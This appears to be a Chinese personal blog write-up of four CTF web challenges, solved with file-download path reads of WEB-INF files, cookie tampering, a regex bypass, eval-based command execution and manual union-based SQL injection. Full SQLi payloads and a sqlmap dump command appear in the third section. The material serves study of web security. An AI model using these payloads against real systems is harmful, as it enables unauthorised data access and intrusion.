今天怎么就能打了,破靶场
https://www.cnblogs.com/DSchenzi/p/18823961
https://blog.csdn.net/Tiny_Hacker/article/details/147232574
一、File_download
登录框,注入还是啥,源码里没有,抓个包看看,也没啥
提示help.txt 显示get or post filename to /DownloadServlet ?
相关资料(好像刚好是Java的)
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。
利用: 通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。(好难,好难想)
1、访问/DownloadServlet,post传参filename=WEB-INF/web.xml,下载到得到了Web应用的程序配置文件,并且给出了跟flag相关字样的字符串,审计一下,我看不懂,交给deepseek了

然后根据命名规则可以得到下面的(上面wp是错的!)
payload:filename=WEB-INF/classes/com/ctf/flag/FlagManager.class
得到一个WEB-INF_classes_com_ctf_flag_FlagManager.class 反编译如下

给deepseek和通义审计,通义看了都崩了
俺不中了,认输。
二、商师一日游
好玩

1、访问/atc1acrd.html

2、源码中发现
“<!--苦苦找寻, 在附近的草丛中发现的你的令牌, 你成功进入校园 ===> /atc2cnzd.php 旅行碎片1: flag{2-->” 访问得到
3、抓包改cookie:fish=weak 改为fish=strong

4、回显以下内容,继续访问
强效鱼食, 观赏鱼好感度+50%
旅行碎片2: 43f2
你继续前进 ===> /atc3oklm.php
5、返回包中找到第四个线索


6、访问后

7、就简单了,robots.txt

8、还有啊,是正则

意思是传参中,换行匹配要以php开头,但是不能开头就是php
payload:%0aphp

9、还有????

不看wp还真不会,删除disabled


10、还有?????

脑子瓦特了,看错eval了,开始传的memory=ls ;
最后传memory=system(ls ); 找到目录访问 获取最后一块 e}
至此 flag{243f23f07ac14395940868962813befe}
累死我了
三、小小查询系统
随便传个id=1,sqlmap不是万能的,为啥查出来的数据库是word???和手注的不一样

判断注入类型: 数字型
' or 1=1 --+
判断字段数:
order by 3
爆数据库名和回显位:
-1' union select 1,database(),version() --+ ----->此处注释符只能用--+ 为啥
爆表名:users ------>为什么回显位在2不行
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列名:id,usename,password
/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
爆数据: OK啊 耍老子 送你个微笑
?id=-1' union select 1,2,group_concat(id,username,password) from users--+

再去查别的库,当然这一句我不会,我手注还是一坨
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

发现flag库,接下来差不多的流程
爆表:flag
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'--+
爆列:id value
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctf'--+
爆字段名:拿下
id=-1' union select 1,2,group_concat(id,value) from ctf.flag--+

最后,原谅我sqlmap,你真的可以一把梭
python sqlmap.py -u "http://challenge.qsnctf.com:30163/?id=2" --batch -D ctf -T flag -C value --dump
四、My Blog
我就说怎么只有一个pdf,只能看的账号密码,还试着传参,我好蠢
话说要不是我的dirsearch没配好,我第一个扫的就是这破目录
盲猜后台login.php
登录拿flag

小结
基础思路:前端js、数据包、返回包、源码、默认目录、账号密码
php常见代码函数、手注很重要
多刷刷就有思路了,只要不是复杂的代码审计和没见过的函数,应该都能过两招,就怕黑盒一点办法没有,解决方法还就真的只有多刷题,把web的题刷烂!好困23:54,今天没有拖,晚安
Comments NOTHING